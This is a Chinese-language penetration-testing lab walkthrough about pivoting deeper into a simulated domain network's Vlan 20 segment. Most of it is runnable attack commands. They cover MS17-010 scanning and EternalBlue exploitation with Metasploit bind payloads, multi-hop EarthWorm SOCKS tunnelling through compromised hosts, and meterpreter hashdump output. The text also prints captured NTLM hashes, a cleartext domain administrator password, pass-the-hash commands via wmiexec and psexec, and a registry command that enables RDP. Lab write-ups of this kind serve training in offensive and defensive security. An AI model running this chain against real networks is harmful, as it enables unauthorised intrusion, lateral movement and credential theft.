深入内网
内容简介
本小节主要讲解我们如何继续深入内网,拿下 Vlan 20 网段的机器,此网段就是 DC 域控主机所在的网段,所以拿下这个网段的意义还是比较大的,虽然可以直接使用 CVE 漏洞来置空域主机下的本地用户密码,但是这是下一节要讲解的知识点,本小节只做 MS 17-010 的经典演示。
权限概览
先看看当前拿到的权限情况,在整个内网中目前我们已经打到了 Vlan 10 区域,且已经拿到了 3 台主机的权限,接下来准备逐个拿下剩下 4 台主机的权限,本小节主要是针对 Vlan 20 网段的攻击,拿下 Windows 7 域下面的机器。当然我们是不知道 Vlan 20 的网段情况的,所以需要来模拟黑盒来进行测试。
现在理一下主机攻陷情况和网络的流向,让大家可以更好的理解。
- CentOS 7 宝塔服务器属于 DMZ 服务器,可以出网且搭建的 Web 站点有漏洞,被我们轻易 getshell 且 revere 反向 shell 到我们 Kali Linux 的 MSF,添加路由且开启 Socks 代理后,MSF 以及走代理的机器都可以畅通无阻的访问 DMZ 下的所有机器
- 在 DMZ 区还存在泛微 OA 的 2016 服务器,因为也在 DMZ 区下,我们最终通过 SQL 注入拿到 OA 的权限,然后在 OA 里面发现了网络架构图,以及 OA 服务器的密码信息,直接登录拿下 OA 系统的主机权限。
- SQL Server 通过把 1433 端口映射到 DMZ 区,因为 OA 存在注入所以也顺便拿到了 SQL Server 的 SA 密码,SQL Server 服务器本身不能被 DMZ 区直接访问,但是 SQL Server 服务器是可以访问 DMZ 区的,所以我们的 Kali 无法直接去打 Vlan 10 网段下的 SQL Server
- 通过 SQL Server 的 sa 密码,然后走 clr 提权上线后,通过 frp 将 Vlan 10 下 SQL Server 端口转发到 DMZ 区下的泛微 OA 服务器,然后使用 Kali 的 MSF 直接走 bind 正向 shell,这样就相当于间接的连 Vlan 10 下的 SQL Server 了
- 拿下 SQL Server 后添加 Vlan 10 的路由,发现 Vlan 10 和 Vlan 20 网段也是通的,顺便再添加 Vlan 20 网段的路由,此时 MSF 是可以畅通无阻的访问 DMZ、Vlan 10 和 Vlan 20 网段下的资产的
- 因为直接拿 Vlan 20 下的 DC 域控有点简单,我们本小节产生来拿下同网段的 Windows 7 (192.168.20.10)
漏洞探测
在企业内网当中,总会有漏网之鱼存在 MS 17-010 漏洞的,一般因为某些公司的业务特性原因,内网当中存在大量的 Windows 7、Windows Server 2008 机器,因为打 MS 17-010 补丁可能存在蓝屏的现象,所以就导致了我们可以钻这个空子,在内网中来批量测试扫描一下 MS 17-010 漏洞是否存在:
msf6 > auxiliary/scanner/smb/smb_ms17_010
msf6 > set rhosts 192.168.20.0/24
msf6 > set threads 10
msf6 > run
幸运的是,Vlan 20(192.168.20.0/24)网段果然存在一台存在 MS 17-010 漏洞的机器:
正向攻击
话不多说,我们直接来对 192.168.20.10 这台 Windows 7 的主机进行攻击吧:
msf6 > use exploit/windows/smb/ms17_010_eternalblue
msf6 > set payload windows/x64/meterpreter/bind_tcp # (1)!
msf6 > set rhost 192.168.20.10
- 因为我们 MSF 打过的机器可以访问这台机器,所以借助之前的机器创建路由即可直接对其攻击,所以这里选择 bind 正向 shell 理论上也是可以成功的
很不幸,虽然漏洞可以正常检测,但是由于我们此时挂了多层路由代理,这种情况下直接打 MS 17-010 失败了:
所以我们得想办法尝试其他方法让我们的 MSF 少走点路由,减少超时来对内网的 Windows 7 进行攻击。
尝试代理
既然默认的路由没有成功的话,我们尝试使用 socks 隧道来直接连接近 Vlan 内网区域,让 MSF 少走一点攻击路径,提高 Bind 正向攻击的成功率:
级联代理
ew
简介
官方主页:http://rootkiter.com/EarthWorm/
Github 项目地址:https://github.com/idlefire/ew
源码:https://github.com/anhilo/xiaogongju
参数
参数 | 说明 |
---|---|
-l 1080 | 监听本地的 1080 端口 |
-s ssocksd | 本地开启 Socks5 服务 |
-s rcsocks | 作为反向被连接的 Socks5 客户端 |
-s rssocks | 反向连接并开启 Socks5 服务 |
-s lcx_tran | 作为端口映射服务功能 |
-e 18888 | 使用 18888 作为通信传输握手端口 |
-lcx_listen | 接收的请求重定向到新的端口监听 |
-lcx_slave | 奴隶的直译,将本地的端口转发给其他主机的端口 |
正向
反向
二级
# 可以访问目标内网的主机,本地开启 Socks5 服务,监听的端口为 9999
./ew -s ssocksd -l 9999
# 存在公网的主机,但是无法直接访问内网,监听本地的 1080 端口并转发到目标内网主机 2.2.2.3 的 9999 端口
./ew -s lcx_tran -l 1080 -f 2.2.2.3 -g 9999
复杂
# 攻击者公网服务器
./ew -s rcsocks -l 1080 -e 18888
# Vlan 内网主机往公网服务器连接(失败 网络不通)
./ew -s rssocks -d 10.100.1.226 -e 18888
# DMZ 下的主机将 16666 端口发来的请求放在 17777 端口监听
./ew -lcx_listen -l 17777 -e 16666
# Vlan 内网主机往 DMZ 主机握手连接 等待 Socks 客户端接入
./ew -s rssocks -d 172.18.100.101 -e 16666
# DMZ 主机将本地 17777 端口和公网的 18888 端口连上
./ew -lcx_slave -d 10.100.1.226 -e 18888 -f 127.0.0.1 -g 17777
# 攻击者公网服务器
./ew -s rcsocks -l 1080 -e 18888
# Vlan 内网主机往公网服务器连接(失败 网络不通)
./ew -s rssocks -d 10.100.1.226 -e 18888
# Vlan 内网主机往 DMZ 主机握手连接 等待 Socks 客户端接入
./ew -s rssocks -d 172.18.100.101 -e 16666
# DMZ 下的主机将 16666 端口发来的请求放在 17777 端口监听
./ew -s lcx_tran -l 16666 -f 10.100.1.226 -g 18888
实战
- Kali MSF
- DMZ OA
- Vlan 10 SQL Server
测试一下是否成功代理到内网:
代理攻击
MSF 挂代理
首先启动 MSF 挂一下我们的 Socks5 代理:
# 让 MSF 的流量走 socks5:127.0.0.1:1086 隧道
msf6 > setg Proxies socks5:127.0.0.1:1086
# 查看 MSF 全局代理参数
msf6 > setg
直接攻击
msf6 > use exploit/windows/smb/ms17_010_eternalblue
msf6 > set payload windows/x64/meterpreter/bind_tcp
msf6 > set rhost 192.168.20.10
msf6 > set lport 5555
msf6 > run
445 的请求成功的了,但是 5555 端口没有成功上线:
猜测目标系统开了防火墙:
奇技淫巧
一般内网域防火墙策略大多数是放行 RDP 等常见服务端口的,所以我们这里手动来使用 3389 端口来作为 Bind shell 的端口试试看:
再次来攻击验证测试一下,成功上线:
信息收集
但是不是很稳定,很容易掉线,所以我们需要火速的 Hashdump 抓取用户 hash:
meterpreter > hashdump
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
pig:1000:aad3b435b51404eeaad3b435b51404ee:ccdc1b01fe1392552ee6e2f49bcb3023:::
手速足够快的话,可以直接上 kiwi 插件来进行其更全的 Hash 读取:
运气很棒,这里直接拿到域管的账号和密码了:
Username Domain LM NTLM SHA1
-------- ------ -- ---- ----
Administrator PIGTEACHER e90127c07127ed1266ca3ba53c674cc1 8a282f931f4d94ef1ce71b356310ff42 632d0b55807e70faf53a5cfd30e01d55a201653d
wdigest credentials
===================
Username Domain Password
-------- ------ --------
(null) (null) (null)
Administrator PIGTEACHER admin!@#$%12
哈希传递
有域管用户的话可以尝试直接传递域管 hash 来登录域成员机器:
135端 口 wmi 哈希传递
wmiexec.exe -hashes e90127c07127ed1266ca3ba53c674cc1:8a282f931f4d94ef1ce71b356310ff42 pigteacher/administrator@192.168.20.10
445 端口 smb 哈希传递
psexec.exe -hashes e90127c07127ed1266ca3ba53c674cc1:8a282f931f4d94ef1ce71b356310ff42 pigteacher/administrator@192.168.20.10
开启 3389
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f